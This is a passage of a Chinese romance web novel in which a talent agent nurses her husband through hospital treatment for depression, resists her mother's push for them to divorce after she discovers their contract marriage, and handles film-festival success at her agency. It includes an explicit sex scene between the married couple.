医生与沈灼商量后，决定直接将他转入精神科的住院病房。沈灼没对迟女士多说，只含糊其辞地说要再观察几天，还叮嘱她不用再跑医院。沈灼下意识地不愿让任何人知道邵成章有心理问题。 可迟女士到底放心不下。嘴上答应不来，第二天一大早还是炖了汤，提着保温罐赶到医院。 走进原先的骨科病房，却发现房间空空如也。她去询问护士邵成章是不是已经办理出院了，小护士对邵成章夫妇的印象很深刻，没有查询记录便告知她邵先生已经转到楼下的精神科了。 “精神科？”迟女士愣住，脸上写满狐疑，“是不是弄错了？他怎么会去精神科？” 小护士只客气地笑笑：“您可以去楼下咨询一下。” 迟女士谢过，提着汤罐往电梯口走去。就在这时，背后传来小护士压低声音的闲谈： “唉，真是可惜了，那位邵先生长得那么帅，条件又好，谁能想到是重度抑郁呢。” “可不是嘛，长得好看又有钱，老婆也漂亮，简直人生赢家啊。抑郁成这样真是想不通，我要是他，我天天睡觉都得笑——”正说着话的小护士被旁边的护士肘拐了一下，声音戛然而止。 “你们刚才说什么？成章……有抑郁症？！”迟女士脚步骤然停下，她猛地转过身，瞪着两个小护士。两个小护士瞬间慌了，支支吾吾不敢再说。 来到二楼，迟女士走出电梯间，看到大门上面写的精神科病房，直接愣在那里。 “妈，你怎么来了……”从另一边医生办公室出来的沈灼看到迟女士，也怔住了。 迟女士缓缓地转身，她有些接受不了，木木地问：“成章他到底怎么了？” 沈灼心虚地眨了眨眼，她硬着头皮上前两步，挽住迟女士的胳膊，“没什么，就是工作压力太大了，你也知道他一个人管那么大一个公司，事情肯定很多。”她说着，强行扯出一个安抚的笑容，“你别担心了，不是什么大问题。” 迟女士眼神闪动，似乎被说服，却又明显半信半疑：“那我去看看他。” “哎——现在还不行……”沈灼立刻拦住，“医生规定了探视时间。他刚转过去，需要一点安静的环境，等过几天情况稳定了再看吧。妈，我先送你回家。”她刻意避开迟女士的目光，弯腰提起保温壶，假装轻描淡写地笑，“这汤今天他喝不上了，看来只能便宜我啦。” 事实上，医生刚才很严肃地告诉沈灼，邵成章在车祸前出现了幻觉，情况已经十分危险，有明显自伤甚至自杀的倾向，因此必须住进全封闭的单人病房以最大限度保证安全。家属也只能在规定的时间内来探视。 不过因为邵成章还有严重的分离焦虑，加上他自己有非常高的意愿接受治疗，医生允许家属每天下午有一小时的探视时间。 沈灼在迟女士家吃过午饭，没怎么多留，下午便提早赶到医院。她觉得不仅邵成章有分离焦虑，她都快有了。一和他分开，她就想他怎么样了，甚至还想在病房里装个监控。 探视时间还没到，她隔着病房的玻璃看向里面。封闭房间除了一张床什么都没有，邵成章坐在床沿看着外面，背影颓废寂寥。 她不自觉伸手，轻轻按在门上想要穿过这层隔阂，却只能触到冰凉的玻璃。 邵成章新换的舍曲林和阿戈美拉汀起效明显，他的情绪稳定了许多，焦虑症状也减轻不少。从最初无法接受沈灼离开病房，一周之后已经可以和沈灼笑着说明天见了。 只不过副作用让他行动和反应都变得迟缓，沈灼每天来探视时也很少与他说话，大多时候只是在床 上躺着抱着他，或带本书念给他听。 邵成章暂时还不能处理工作，沈灼给陈航发消息，邵成章之前通过的项目都正常推进，没通过的暂时先搁置等他回来处理。 月底威尼斯电影节开幕，《雾灯》入围了主竞赛单元，沈灼本应该和关司予一起去，但她直接推了让小芸带着关司予一起。 小芸第一次独立主控艺人的国际行程，加上上次丢行李的阴影，她心里十分忐忑。沈灼本就有意培养她为能独当一面的经纪人，便让她自信大胆地去，实在是遇到解决不了的问题就去找黎雅琦。 邵成章的情况一天天好转，医生解除了隔离，把他转到普通的单人病房，药量也在逐步递减。他甚至可以自由出入病房，参加医院安排的娱乐活动。 九月初的天气温柔明净，空气里弥漫着桂花的清甜香气。沈灼陪他坐在医院楼下的长椅上，微风轻拂，像是给这段沉闷的日子按下暂停键。 “天气真好啊。”沈灼仰脸朝天，闭着眼深吸一口气，嘴角不自觉弯起，“等你出院，我们去徒步吧。”医生刚告诉她，只要再观察一周没有问题，邵成章就能回家了。 “好。”邵成章眼底染着笑意，侧头望着她，像是看不够似的。他牵过她的手，轻轻放在掌心里摩挲，目光落在她指间那枚略显松动的戒指上，大拇指缓缓抚过她的手背，心疼地低声道：“老婆，你辛苦了。” “你也辛苦了。”沈灼并指一勾顺势握住他的大手，温柔道，“邵成章，谢谢你可以坚持下去。” 他盯着她道：“你是让我坚持下去，要活下去的理由。”他抬起手，吻在她的手背上。 沈灼眼眶有些发酸，忍不住将头靠在他的肩膀上，过了一会儿又埋进他的颈窝里，深深呼吸了几口才稳住声音：“快点出院回家吧，阿瑞斯说都想你了。” “嗯。”他揽紧她的腰，唇贴近她耳侧，低声问：“那你呢？” 沈灼声音轻得像是呢喃：“我也想你，很想很想。” 邵成章喉结轻轻一滚，忍不住低下头，一下一下在她的脸颊上落下温热的吻。沈灼抬起手环住他的脖颈，仰起下巴，主动迎上他的唇。 他捧住她的脸，几乎是克制不住地加深了这个吻。 唇齿间的缠绵带着久违的热烈，对彼此的思念和渴望全都化在这个深吻里。 “嗡嗡——”手机振动突然响起，打断了亲得忘我的两人。邵成章松开她，示意她接电话。沈灼这才意识到他们还在外面，赶紧左右张望，庆幸周围没人看见。 她的小动作惹得邵成章忍不住低笑。 来电是迟女士。她说有个和她一起跳舞的姐妹的侄女要来A市工作，暂时没住处，想到沈灼中湖那边的房子还空着，便想租给小姑娘。 沈灼没什么意见。那套房子她这一年陆陆续续都清空搬到悦澜湾了，姜珺的东西也早就搬走了，倒也是可以租出去。她便答应下来，让迟女士自己定租金。 说完这事儿，迟女士又问起邵成章的恢复情况。沈灼抬眼看向他，见他正微笑望着自己，心里一暖，便语气轻快地对迟女士说：“他很好，别担心了，等过几天我们不忙了回家吃饭。” * 《雾灯》在威尼斯电影节首映后口碑炸裂，拿下ICS场刊3.87的高分，几乎断层领跑。国内不少影迷和头部博主都在热议：这部华语片是不是能争一争金狮奖，关司予和蒋芮有没有机会拿到最佳演员。 作为二搭的两人，这次直接演主CP，“人工降雨”的话题再次冲上热搜。沈灼和Nadia立刻与电影宣传团队开会，趁热打铁放出了一批电影物料。 开完会沈灼又奔去了医院，刚从医院出来，又接到了迟女士的电话。然而迟女士的语气不善，让她立即回家。 沈灼不知道发生了什么，但感觉迟女士十分生气，于是改了导航地址掉头。 一进门，她就看见迟女士坐在沙发上，脸色阴沉得吓人。“妈，叫我来什么事儿啊？”沈灼边说着边低头换鞋，换好鞋往客厅走。 “你和我解释解释这是什么？！”迟女士冷冷地抬起手，指向茶几，声音透着压抑的怒意。 “什么呀？”沈灼笑着走过去，只见茶几上摆着一叠文件。她走近看清那白纸黑字，本来挂在唇角的笑容瞬间僵住。 那是……她和邵成章在结婚前签署的婚前协议和财产公证。 这协议一直放在沈灼主卧衣柜的最后一层抽屉里，迟女士这几天在中湖忙着清空搬家，没想到发现了女儿这么大一个秘密。 迟女士俯身拿起那份协议，抖的两张薄纸哗啦啦响，她厉声质问道：“沈灼，你和我说说什么叫‘本协议所约定的婚姻关系期限为两年’，什么叫‘原则上不同居居住’，什么叫‘双方应以夫妻身份共同出席某些场合，并应配合对方’，啊？你们这是结婚还是演戏？！” 她下意识想辩解：“不是，妈，你听我解释……”沈灼被迟女士的一通质问搞得猝不及防，她早忘了这份协议还在中湖，也没想到迟女士竟然发现了这份协议。 “当时是你老催我结婚啊，所以才和邵成章结婚的时候拟了这么一份协议……”说完她抿起嘴巴，有些心虚。 “你这是还怪起我了？我是催着你找对象，是想有个人能照顾你，不是让你随便找个人结婚两年以后再离了！”迟女士猛地把协议拍在桌子上，眼神里满是失望与怒火。 “没有，我们也没有想离婚了。”沈灼补上一句。 “邵成章呢？把他也叫过来！” 沈灼垂着头，低声说：“他现在来不了。” 迟女士盯着她，“他现在在哪儿？” “哎呀你别问了，这都一年前发生的事了，现在我们在一起挺好的，也没想离婚了啊，有没有这协议都不影响我们的感情。”沈灼试着把话题岔开。 “他是不是根本没出院，还在医院里？” 沈灼抿着嘴巴，好一会儿才开口，“马上出院了。”她不敢看迟女士。 迟女士沉默了。 沈灼深吸一口气，硬着头皮开口：“妈，我承认一开始我们确实是协议结婚，可后来……我们是真心的。你别再生气了，好不好？” “别说了。”迟女士声音冷厉，目光坚决，“不用再等一年了，你们现在就离婚吧。” “啊？你在说什么啊……什么叫我们离婚啊。” “你真以为我什么都不知道吗？我活这么大岁数了，什么没见过？现在网络这么发达，我查一查也就出来了，重度抑郁症是不能根治的，这次好了下次指不定什么又再犯。你考虑过以后吗？你以后就要这么一直照顾他吗？” 她越说越激动，甚至带上了母亲最本能的心疼和担忧：“你还不到三十，以后日子还长着呢！我不想你拖着个病人过一辈子，成章再好，他有这个病就是隐患！反正你们也是假结婚，干脆就离了，别把自己搭进去！他家也有钱，以后也不缺人照顾。” “妈，你知不知道自己在说什么啊，你光想着结婚有人照顾我，现在我要照顾别人了你就让我离婚，你怎么能这么自私？” “什么叫我自私？我这不都是为了你好吗？那你们以后怎么办，啊？精神病会遗传你知不知道？你们再生个孩子，万一遗传了，你这辈子得照顾两个人，知不知道？！”迟女士语速极快，说得胸口一阵起伏。 “邵成章是后天原因才造成的心理问题，和先天性不一样！再说真遗传我就不生孩子了，我本来也没想生！”沈灼的倔劲也上来了，直接将迟女士的话堵死。 迟女士被她彻底气急，蹭一下站起来，指着沈灼：“我怎么生了你这么个女儿？” 沈灼梗着脖子，眼神倔强，垂着眼却不肯让步：“反正我就是要和他过，谁说都没用，我绝对不会离婚的。就算他以后复发，我也会陪着他。” “糊涂！你这就是拿自己一辈子的幸福开玩笑！”迟女士气得坐回沙发，她看着女儿那副认死理的样子 ，恨铁不成钢，却又无可奈何，眼泪簌簌掉下来，“你怎么就老和妈妈对着干呢？” 沈灼最见不得人哭，迟女士被她气得直抹眼泪，她心一下子就软了。她蹲在她面前，握着迟女士的手道：“对不起妈，我没想和你对着干。可是我真的不想和邵成章离婚，我长这么大第一次这么喜欢一个人，我不想和他分开。你老说是我照顾他，其实平常明明是他照顾我更多。我是成年人了，我能对自己的选择负责，我求你别管了好不好？” 迟女士沉默着，最后也只是重重地叹了一口气。 第104章 凌晨一点半，沈灼正坐在电脑前面，等待着威尼斯闭幕式暨颁奖典礼的直播。工作室的群消息嗡嗡震动个不停，几个小姑娘纷纷说紧张，不知道司予哥和蒋芮姐能不能获奖。 时间太晚，沈灼催她们去睡觉，结果没有一个人听，东扯一句西聊一句就把她的催促给刷上去了。大家又紧张又期待，沈灼笑笑也就懒得管了。 颁奖顺序是按照奖项的由轻到重，已经颁发完最佳新演员和最佳剧本，接下来就是最佳女演员。沈灼有点紧张，她之前已经看过《雾灯》的成片，对蒋芮表演的把控十分惊艳，加之首映之后，《雾灯》的口碑一直都不错，但是已经很多年没有华人女演员拿到过影后这个奖项了，她的心悬在喉咙。 当主持人念出“ChirsJiang”时，导播镜头切到蒋芮，沈灼看着屏幕，大脑空白了好几秒才反应过来。 真的是蒋芮！ 搁置在桌上的手机突然开始疯狂振动，群里已经炸了，还有一些同行给她发送的祝贺消息。 蒋芮上台颁奖，谢过搭档关司予，谢过制片人黎雅琦，谢过导演麦序，谢过全剧组。 “最后我想特别感谢的是我的经纪人，如果没有她，我现在还是一个名不经传的小演员，是她的知遇之恩让我得以站在这里。谢谢你，沈灼。” 蒋芮对着镜头，字正腔圆地念出沈灼的名字。 台下掌声一片，镜头切给《雾灯》剧组，每个人脸上都是真挚的笑容。 不过《雾灯》只拿到了最佳女演员奖项，最后最佳影片只是入围，而因为影片是围绕女主的遭遇和自救，关司予甚至没有入围最佳男演员，但这个成绩，所有人都已经很满意了。 沈灼从没想过，她的名字有终一日竟然可以出现在威尼斯电影节的颁奖典礼上，她早已习惯自己是那个幕后之人。 对于蒋芮的感谢，沈灼感觉愧疚。她不过只是发现并推荐了她去试戏，但那是她作为经纪人的分内之事。之后，她也只是按部就班替蒋芮找合适的项目，并未付出额外精力去关注她。因此，这番感谢反而让她有些心虚。 当天去看望邵成章时，她把这件事讲给他听。 邵成章不以为然，“要知道千里马常有，而伯乐不常有。蒋芮不是在接《雾灯》之前才成为演员的。全中国这么多经纪人，只有你在这个关键节点发现并推荐了她，没有你她接不到这个项目，也不会有现在的成就。是你看见了她，你就是她的伯乐。” “是这样吗？”沈灼不置可否。 邵成章笑说：“老婆，不要妄自菲薄。”他拍拍床边，“要不要上来休息会儿？” 沈灼中午带着午餐来的，简单陪他吃完之后她一直坐在小桌边处理工作。仅仅一上午过去，《雾灯》获奖已经冲进了微博热搜的前三，沈灼收到好几份邀约蒋芮演出的项目书，还有综艺、商务和采访一下子涌来。沈灼回复工作消息的语音和“哒哒哒”不停敲键盘的声音此起彼伏。 她工作了多久，邵成章就静静看了她多久。目光落在她微蹙的眉间、专注的侧脸和飞快动作的手指上，想起答应迟女士的事，他的胸口就如针扎般密密麻麻地痛。 沈灼捶捶后腰打了个哈欠，起身脱鞋爬上了床，她拥着邵成章闭眼假寐。 “很累吗？”邵成章垂眼心疼地看着怀里的人，手掌覆在她背上，轻轻拍着。 “有点儿。”沈灼闭着眼睛回答，“不过还是忙一点儿好。” “就这么喜欢工作吗？” “说好了我要赚钱养你的么。” 邵成章眼眶一热，勉强扯出一个笑容说：“累了就睡一会儿吧。” 沈灼点点头，“那我眯二十分钟，你一会儿叫我吧。”她的声音渐渐低下去。 “嗯。” 邵成章看着沈灼略显疲惫的睡颜，怎么也说不出要分开的话。如果自己的病情不稳定，沈灼和他在一起只会更累，这一个月她已经太辛苦了。 他不想拖累她。 再给他几天时间吧，邵成章想，就让他再多贪恋这片刻的温存。 * 隔日，蒋芮和关司予回国，全工作室的人欢呼雀跃，以Nadia为首说晚上要给蒋芮庆祝。沈灼要去医院，便推托不去，说晚上的大餐她来报销，让大家放开了吃。出办公室之前，小芸截住她，说关司予想参加个综艺。 沈灼脚步一顿：“什么综艺？” “《全能班底，Action！》，就是你之前说不要告诉司予哥，直接帮他推了的那个。” 小芸说到后面，沈灼才想起来，这是当初步繁想让关司予参加的那档综艺，网传名单还有麦序。 “他为什么会知道有这个综艺？” 小芸道：“这次去电影节碰到步繁老师了，她和司予哥提的。” 沈灼一皱眉，又折回办公室，“把司予叫过来。” 不多时，敲门声响起，关司予推门而入。 “听说你想参加《全能班底》那档综艺，之前有casting找过我，档期不合适，我已经给你推了。”沈灼开门见山，和他解释，并试图打消想要他参加这档综艺的念头。 “沈灼姐，但我想参加。”关司予坐在沙发上，抬眼看她。 “司予，你不要任性。后面的档期已经定好了。” “可我问过小芸后面的通告，年前只有一部电影要进组，时间上完全来得及。” 沈灼双手抱胸，倚靠在办公桌边，“你记不记得你之前和我说过，只拍电影不接任何综艺。” 关司予笑说：“我只是觉得这部综艺挺有意思的，国内首创演员编剧和导演一起的演技类竞技，而且大咖云集，应该很有话题和看点，说不定参加后又能火一把。” 沈灼笑不出来，她板着脸问：“你到底是认为这个综艺能给你带来流量还是因为别的什么？” 关司予不答反问：“怎么了沈灼姐，这么严肃，我多参加综艺涨涨粉不好吗？” “你不要回避我的问题。” 关司予很少见沈灼这样不苟言笑的时刻，还没等他开口，沈灼直截了当地问：“是因为麦序吗？” 关司予怔住了。 “是，还是不是？”沈灼挑眉盯着他，语气十分强硬。 关司予抿着嘴唇，僵在那里。 “当初在《雾灯》组里的时候你答应过我什么，我说过不反对你谈恋爱，但你一定要提前告诉我让我有准备。结果呢？你做了什么？” “我没有谈恋爱。” 沈灼实在讨厌被人隐瞒，尤其是她强调了一遍又一遍。气血上涌，直冲脑门，顶的太阳穴直嗡嗡。她走到办公桌后面从抽屉里拿出信封，捏着几张照片，用力摔在关司予面前的小茶几上。 “你还敢瞒着我！”沈灼怒不可揭，拔高了音量，“你当真以为我不知道你和麦序是什么关系吗？！” 外头正热闹的同事们被她的怒吼惊住，所有人几乎都没见过沈灼这样生气的时刻。她办公室的门紧关着，只能听个响，听不清内容。大家互相对着眼神，而后摇头，都示意自己不知道 发生了什么。 关司予垂眼看着那几张照片，沉默片刻后说，“对不起，那天晚上我喝酒了。” 沈灼意识到自己的失态，深呼吸一口气，压着火气道：“你知不知道这些照片差点就发到网上了，如果被网友扒出来麦序和关家的关系，你有没有想过你们会遭受什么样的抨击与谩骂？” 关司予猛地抬头，瞳孔一缩，震惊地说不出来话。他以为她只是错认为他们是男女朋友关系…… “麦序就是关老爷子从福利院收养的孩子，也是你名义上的姐姐关昕，我说的对吧。”沈灼字字清晰，她顿了顿，“司予，不仅你和麦序会受到网暴，工作室也会连带着遭殃。” 再怎么说，两个人也是从小长大，这样堪比乱/伦的关系可以称得上是丑闻了，到时候甲方会要求停止合作，赔付违约金，沈灼不能允许这样的事情发生。 关司予沉默着。 沈灼叹口气道：“我给你两个办法，第一好好拍戏；第二我们停止合作，你可以自立工作室，然后去参加综艺，以后你不管发生什么都和我、和工作室都没有关系了。你好好想想吧，尽快给我一个答复。” 沈灼抬脚就走，刚握住把手，听到关司予的声音从背后传来：“沈灼姐，我参加综艺只是想给自己个念想。” 翌日，公司不知怎么就传出来关司予要解约的消息了。Nadia去找沈灼，没想到两个人说着说着竟然就吵起来了，这也是两个人共事这么多年第一次出现这么大的分歧。 Nadia不知道关司予和麦序的关系，力挺关司予应该参加《全能班底》，她确信这个综艺一定会出圈，光是步繁、蒋芮和关司予的关系就已经能引出不少话题了。沈灼怎么都不听，只说他不能参加但又不说原因，气得Nadia摔门而出。 沈灼看了看时间，她要去接邵成章了，今天是他出院的日子。 这是件高兴的事儿，走入病房之前，沈灼进行几个深呼吸调整情绪，她不想因为工作上的糟心事儿影响本来的好心情。 一路扬着笑脸哼着歌儿回家的，沈灼先他一步进门，转身对着他做了一个骑士礼，“欢迎回家，Myhandsomehusband。” 邵成章忍不住笑了，牵住她的手往客厅走，阔别一个月回到家里他竟然感觉有点陌生。径直走到生态缸前蹲下，邵成章伸出手指点了点玻璃。大概是好久没见到主人了，阿瑞斯“嗖”一下子过来，肚皮和四肢贴在玻璃上。 “阿瑞斯，你也很想你爸爸是不是？”沈灼在他身边盘腿坐下。 邵成章打开生态缸，把它拿出来放在身上，可能身上还沾染着医院的味道，阿瑞斯感觉陌生，嫌弃似的爬下去，直奔沈灼。 “不认得你爸啦？那来妈妈这儿吧。”沈灼伸出手指在地板上点了点，乐呵呵地把阿瑞斯引到自己这边。 邵成章怔怔看着这一幕。沈灼说起“爸爸妈妈”的时候是那么自然。那一瞬间，他胸口像是被什么堵住了，又温暖又沉重。 他明明该享受这种久违的归属感，可心里却一阵酸涩。因为很快，他就要亲手打碎这一切。 她还在笑，眼睛亮亮的。邵成章却低下头，指尖缓慢摩挲着膝盖，喉咙像被什么卡住，想说的话迟迟说不出口。 “怎么了？感觉你从医院出来就downdown的？”沈灼皱了下眉，“你不会是——” 邵成章抿着嘴笑了下，“放心，我已经痊愈了，别担心。” “一会儿我们出去吃饭吧，这一个月我都没让陈姨来呢，怕她问我。”沈灼说。 邵成章颔首说“好”。 “不是，你到底怎么了？”沈灼不知道为什么就是感觉邵成章的情绪不对劲，“如果不舒服我们可以回医院去，你不要强撑着。” “我真的没事。”邵成章笑得很勉强。 “邵成章，我能感觉出来，你要是有什么问题就直说，你这样只会让人很担心。” 邵成章抿着嘴巴，过了好一会儿，他缓缓说：“沈灼，我们离婚吧。” 沈灼怔住，万万没想到他竟然是要说这个。 “我想了很久，其实我们不合适。”他停了停，撇开视线避开她的目光，“我有PTSD，严重了还会引发抑郁焦虑，随时都有复发的可能。” 他的手指压着膝盖骨，指节因用力泛白，“我不想……再拖累你了。”他的声音低下去，“所以，趁现在我还能清醒地说出口……我们离婚吧。” 沈灼质问道：“我妈找你了是不是？” 邵成章沉默着以示默认。 “好啊，你想离婚的话，那就离吧。”沈灼气极反笑，她没想到自己现在竟然可以如此冷静地说出同意离婚这种话。 她和迟女士据理力争，说不要分开。没想到邵成章轻易地就这么放弃了他们的感情，什么为你好根本都是借口，他从来没问过她想不想，她能不能接受！ 她现在冷静得出奇。 “明天把离婚协议签了，我搬出去，不是还有一个月的离婚冷静期吗？直接一个月后民政局见吧。邵成章，从明天开始，不，从现在开始，我管你是有ptsd还是有抑郁焦虑，你是死是活都和我没关系了。以后如果不小心遇到了，就是陌生人，行吗？”沈灼站起来，居高临下地看着他，“你要是说行，那就这么办吧。” 邵成章低着头一言不发。 两个人僵持着，一时间陷入了沉默。 第105章 “不说话就当你默认了。”沈灼转身要走，手腕却突然被人攥住。 邵成章颤抖着声音说：“我不想……不想和你分开。” 话音未落，他整个人已然崩溃。原本还半蹲着的身子再也支撑不住，垂头双膝重重跪在地上，额前的发丝凌乱垂落，遮住英俊的脸庞，沈灼看不到他的脸。 “我不想你不管我，不想和你当陌生人……”他的嗓音低哑，带着压抑的哭腔。 沈灼鼻翼翕张，她强迫自己冷着声音说：“是你先说放弃的，你有什么好哭的？”她猛地挣了下手，却没能抽走。 邵成章无力地跪坐在地上，唯独握住她的那只手不肯松开。好像只要他不松手，沈灼就不会走。 沈灼胸口起伏，深吸一口气说：“说要离婚的是你，说不想一个人的也是你。邵成章，这对我公平吗？你觉得我妈只找你说过离婚这事吗？为什么我可以不放手，你却不可以。” “你回答我啊！你是我吗，你凭什么认为我和你在一起会很辛苦。我妈说你就信，你到底是和她结婚，还是和我？” 邵成章被骂得彻底清醒，眼泪倏然涌上来，他慌乱地摇头，哭着说：“对不起，我错了……” “抬起头来，我要你看着我说。” 邵成章艰难地仰起脸，眼眶通红，带着祈求和惊慌的表情看向沈灼，“对不起，我真的错了……” 沈灼从 来没见过这个样子的他，如此狼狈。 她垂着眼问：“我给你最后一次机会，你还要不要离婚？” “不离婚……我不离。”他摇摇头，和她道歉，“老婆我错了，以后有什么困难我们一起解决好不好？” 听到他的道歉，沈灼呼出一口气，她抬起胳膊试图将他拉起来，“你先起来。” 邵成章手撑地站起来的瞬间将沈灼拉回怀里，紧紧抱着她，“老婆……”他的脸埋在她的颈窝，蹭掉脸上的泪痕。 沈灼此刻压着的情绪上涌，她推开他，“邵成章，你没有良心！”说完她握拳用尽全力捶在他的胸口上。 一下、两下、三下……沈灼不知道打了他多少下，震得她腕骨都发疼。邵成章硬是撑着，不吭一声任她发泄。 “我辛辛苦苦照顾你一个月，最后换来一个你要和我离婚的结果……”刚刚的冷静全然不见，她现在只感觉委屈，声音已经染上了哭腔。 晚上是她一个人睡在床上，惦记着他的病情，她不知道在沙发上坐着看过多少次太阳升起。到了办公室还要装作无事发生地工作，不管有什么坏情绪都要在进他的病房之前调整好，不能将消极情绪带给他。 他生病了多久，她的情绪就压抑了多久，如今在这一刻骤然爆发。沈灼捂住眼睛，泪水汹涌而出。 “你知不知道我妈怎么说我的，”沈灼哭得泣不成声，“生病就可以欺负人吗……” 邵成章慌了，手足无措地抱紧她，一遍遍低声哄着：“老婆，对不起，是我不好……你别哭了，好不好？我以后再也不说那些话了，不哭了……” 沈灼哭了好长时间，哭得眼睛和脑袋都涨涨的才停下。她的眼圈和鼻尖通红，肩膀还一抽一抽的。眼泪把邵成章的衬衫湿透了，她换到另一边把眼泪蹭干净。 邵成章捧着她的脸，用指腹擦掉她的泪痕，觉得沈灼真是可爱，于是忍不住笑了。 沈灼瞪他一眼，囔着厚重的鼻音说：“你笑什么，又不是你刚才哭的时候了。” “我在庆幸，我老婆真的很好，对我犯下的错误宽宏大度，没有斤斤计较。” “谁说我不计较了？我还生气呢。” “你别和我计较，我生病了，脑子拎不清了。” 沈灼“嘁”他一声，推开他去洗手间洗了把脸。 晚上到了该休息的时候，沈灼宣判了对邵成章的惩罚，将他抵在主卧门口，不准让他进来睡觉，他被赶到了客卧。 “不行，你不抱着我会睡不着的，换一个好不好？”邵成章为自己争取减刑。 “我抱着猩猩睡喽。”沈灼的头晃了晃，“现在我要去洗澡了，你不准进来。” 沈灼将门合上，拿了睡衣进了洗手间。 邵成章笑了下，老婆的话什么时候该听什么时候不该听，是正话是反话他还是知道的。 沈灼打开花洒正在调试水温，邵成章推开洗手间的门，赤身走进来从背后抱住她，沈灼没有推开。 低头，吻落在她的肩膀上和蝴蝶骨上。 “老婆，我好想你……”邵成章低哑着声音说。 沈灼将花洒关掉，转过身来，直接吻了上去。邵成章拥着她后退几步，他的后背贴在冰冷的墙壁瓷砖上，两个人吻得难舍难分，趁着换气，邵成章搂着她将她翻到墙上。 墙上还有他的体温，不算凉。邵成章重新吻住她，而后一路向下。吻到胸口，他慢慢地跪下了，直直跪着的高度刚好就在她的胸口，他只要扬起下巴，就可以含住那廷着的两颗草莓尖尖。 背脊忍不住弯曲。他跪下来，向最后一处目的地慢慢靠近。 沈灼手按住他的肩膀，并着腿不让他继续了，“别，还没洗澡。” 邵成章仰着脸冲她笑了下：“老婆，我不嫌弃，我喜欢你的味道，你全身上下我都喜欢。” 说完他分开她的腿，凑了上去。先是鼻尖蹭了蹭，慢慢深入邵成章伸出了舌尖四处扫荡。 久违的酥麻感从尾椎骨从小腹四处发散，没一会儿沈灼就招架不住了。 她开始发软，双腿有些打颤。 邵成章手穿过她的腿搭在他的胳膊上这样撑着她，她可以站得更稳一点，空间也更大一点。 沈灼忍不住弓腰，手抵在墙壁上。她低头只能看到他的下巴和滑动的喉结，耳边是“啧啧”的吞咽的声音。 这样子，像是坐在他的脸上。 阔别已久的苏爽席卷着全身，她不停地哼唧着。突然间，沈灼失声尖叫，邵成章稍微离开一些，接着他的下巴锁骨和胸膛上被淋了一片。 邵成章满意地笑笑，手指在胸口蹭着，沾湿了指尖。当着她的面，他含住了指尖。 沈灼被羞得满脸通红，她抬手打开了花洒，软着声音说：“我要洗澡。” 她要把他身上的东西都洗掉。 邵成章起来，和她前胸贴后背，拿过沐浴露他挤出两泵，一点一点在她的身上打圈搓/揉。 洗完澡，沈灼腿软的有点走不动，邵成章直接将她抱起来走进卧室。 “我说了，你不准再这屋睡觉，你去睡次卧。”沈灼还趴在他身上，这会儿已经开始赶人了。 邵成章理直气壮：“你说不准在卧室睡觉，又没说不准在这屋做。爱。” 沈灼直起身子望着他骂他：“你不要脸。” “嗯，和老婆不用要脸。”他放她在床上，直接欺身压下去。 沈灼不知怎么，突然想起来那份婚前协议，她手抵在他的胸口，头一歪躲过他的吻，“你还记不记得我们签的那份婚前协议。” “嗯？” 沈灼伸出手指点在他胸口提醒他：“你说你婚后不会主动发起任何肢体亲密行为。”她挑眉看着他，“现在你是在干什么？” 邵成章没想到，一年前的回旋镖正中眉心。 他低头，鼻尖在她的脸颊上蹭蹭，试图撒娇：“老婆，婚前协议我们作废好不好？” “不好。”沈灼哼笑一声，“做不做废，我说了算。”她用力将邵成章推开，然后跨坐在他身上，“从现在开始，没有我的允许，你不可以主动碰我。” 说罢，沈灼将发夹取下来，乌黑的发散落下来，而后她像水蛇一般缠住了身下的人。 夜已过半，邵成章看着怀里熟睡的人忍不住亲了亲，他拿起手机还是给迟女士发了一条消息。 他没办法放开沈灼，说他自私也好，说他卑劣也好，总之他绝对不会再说要分开这种话了。 * 沈灼很长时间没有这样放松的心情了，上班都是哼着歌儿去的。等电梯的人几乎快站满了电梯间，沈灼手上还端着两杯冰咖啡，她懒得等，转身去了货梯间等货梯。 在货梯即将合上的时候，沈灼钻了进来，没想到就碰到了Nadia。 电梯升升停停，最后就只剩她和Nadia两个人了。 沈灼知道这件事总是需要一个人先开口破冰，Nadia可是她的好同事好搭档，她不介意她先来。沈灼轻咳一声，准备开口，便听Nadia先说话了：“你要是 不和我说反对关司予参加《全能班底》的原因，我是不会先和你开口说话的。” “嗯？”沈灼突然笑了一下，“那你刚刚是？” Nadia撇了她一眼，昂着头说：“提前说明。” “哦，那刚才这句又是？”沈灼忍不住笑着问她。 Nadia皱着眉看她，哼了一声，这回是真的不和她搭腔了。 沈灼突然将手中的咖啡递过去，“喏，特意给你买的，你爱的双倍浓缩。” Nadia接过咖啡，傲娇道：“那再多说一句，别以为一杯咖啡就能打发我。” 沈灼笑起来：“别生气了，这事关关司予的隐私所以我不能说。不过我想了一个好办法，你听完再决定要不要接着生我的气。” “嗯哼。”发出语气词绝对是不算说话的。 电梯门开，两个人先后走出去，沈灼边走边说：“昨晚我问过了导演组，一共有十二期节目，中间有两期是需要外场嘉宾的，不如就让司予去当飞行助力蒋芮，你觉得怎么样？” 这样关司予只需要去两天，既能满足Nadia做宣传，又能满足关司予的私心，而且他和麦序的接触时间有限，她全程跟着也不会出什么大意外。 “Nice，就这样！”Nadia想了想，突然说。 沈灼笑着打了个响指：“谢谢，我的好Nadia！”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第106章（正文完） 第106章 沈灼之所以动摇，决定让关司予参加《全能班底》，是因为被他的话打动了。她没办法想象爱一个不能爱的人十年甚至更久，该会是什么样的心情。不过她也并非那么高尚，Nadia同样说服了她。早已经有媒体扒出来《雾灯》的原定女一号是步繁，而正式开机前却换成了蒋芮，不怀好意的媒体们已经开始在引战了。 围绕着这个点，节目组也一定会重点剪辑两位女演员的部分，甚至会恶意引导，不过Nadia后期审片的时候会把握好这个度，如果关司予加入，确实能制造出更多的热点和话题。 现在毕竟是流量为王的时代。 不过在签合同之前，沈灼怕他又做出什么出格的事情，要和他定下几条君子协议。 关司予和她保证：“放心吧，沈灼姐。你说的话我都听进去了，你说的对。是我想的太简单了，没有考虑到后果，我不想因为我毁了她。” 沈灼听了心情复杂，最终还是化成一声叹息。 时隔多年，华语影坛上终于又出了一位影后，国内影迷们想看片子的热情高涨，平台上标记的想看人数从四万多，直接激增到了三十万人，沈灼和黎雅琦还有宣发公司讨论过后，决定在十一国庆档上映。 线上要宣传营销，线下要跑路演。沈灼打开日历添加行程，却发现中秋节将近了。上次从迟女士那里回来以后，母女俩再也没有联系。她拿起手机打开微信，相亲相爱一家人的群头像还是三个，她点进去一看，迟女士发的最后一条信息还是邵成章住院之前。 回家以后，见着邵成章她几次欲言又止。 